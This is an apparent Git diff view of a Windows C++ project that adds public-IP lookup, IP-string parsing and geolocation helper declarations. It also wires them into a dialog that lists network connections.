std::string getPublicIP() {
|
|
||||||
HINTERNET hInternet, hConnect;
|
|
||||||
DWORD bytesRead;
|
|
||||||
char buffer[1024] = { 0 };
|
|
||||||
|
|
||||||
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
|
||||||
if (!hInternet) return "";
|
|
||||||
|
|
||||||
hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
|
|
||||||
if (!hConnect) {
|
|
||||||
InternetCloseHandle(hInternet);
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
|
|
||||||
InternetCloseHandle(hConnect);
|
|
||||||
InternetCloseHandle(hInternet);
|
|
||||||
|
|
||||||
return std::string(buffer);
|
|
||||||
}
|
|
||||||
|
|
||||||
void splitIpPort(const std::string& input, std::string& ip, std::string& port) {
|
|
||||||
size_t pos = input.find(':');
|
|
||||||
if (pos != std::string::npos) {
|
|
||||||
ip = input.substr(0, pos);
|
|
||||||
port = input.substr(pos + 1);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
ip = input;
|
|
||||||
port = "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,37 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include <wininet.h>
|
|
||||||
#include <iostream>
|
|
||||||
#include <string>
|
|
||||||
#include "jsoncpp/json.h"
|
|
||||||
|
|
||||||
#ifndef _WIN64
|
|
||||||
#ifdef _DEBUG
|
|
||||||
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
|
||||||
#else
|
|
||||||
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
|
||||||
#endif
|
|
||||||
#else
|
|
||||||
#ifdef _DEBUG
|
|
||||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
|
||||||
#else
|
|
||||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
|
||||||
#endif
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#pragma comment(lib, "wininet.lib")
|
|
||||||
|
|
||||||
// 获取 IP 地址地理位置
|
|
||||||
std::string GetGeoLocation(const std::string& ip);
|
|
||||||
|
|
||||||
// 是否为本机IP
|
|
||||||
bool isLocalIP(const std::string& ip);
|
|
||||||
|
|
||||||
// 获取本机公网IP, 获取失败返回空
|
|
||||||
std::string getPublicIP();
|
|
||||||
|
|
||||||
// 判断给定的 IP 地址是否是局域网(内网)IP
|
|
||||||
bool IsPrivateIP(const std::string& ipAddress);
|
|
||||||
|
|
||||||
void splitIpPort(const std::string& input, std::string& ip, std::string& port);
|
|
||||||
@@ -531,7 +531,7 @@ void CMachineDlg::ShowNetStateList()
|
|||||||
if (!IPAddress.Compare(_T("0.0.0.0")) || !IPAddress.Compare(_T("*.*.*.*"))) {
|
if (!IPAddress.Compare(_T("0.0.0.0")) || !IPAddress.Compare(_T("*.*.*.*"))) {
|
||||||
str = _T("---");
|
str = _T("---");
|
||||||
} else {
|
} else {
|
||||||
str = m_IPConverter->IPtoAddress(IPAddress);
|
str = m_IPConverter->IPtoAddress(IPAddress.GetString()).c_str();
|
||||||
}
|
}
|
||||||
m_list.SetItemText(i, j, str);
|
m_list.SetItemText(i, j, str);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,11 +7,7 @@
|
|||||||
// CMachineDlg dialog
|
// CMachineDlg dialog
|
||||||
|
|
||||||
// TODO: ʵ<><CAB5>IP<49><50>ȡ.
|
// TODO: ʵ<><CAB5>IP<49><50>ȡ.
|
||||||
class IPConverter
|
#include "common/location.h"
|
||||||
{
|
|
||||||
public:
|
|
||||||
CString IPtoAddress(const CString& ip) { return "implement me"; }
|
|
||||||
};
|
|
||||||
|
|
||||||
|
|
||||||
class CMachineDlg : public DialogBase
|
class CMachineDlg : public DialogBase
|
||||||
|
|||||||
Reference in New Issue
Block a user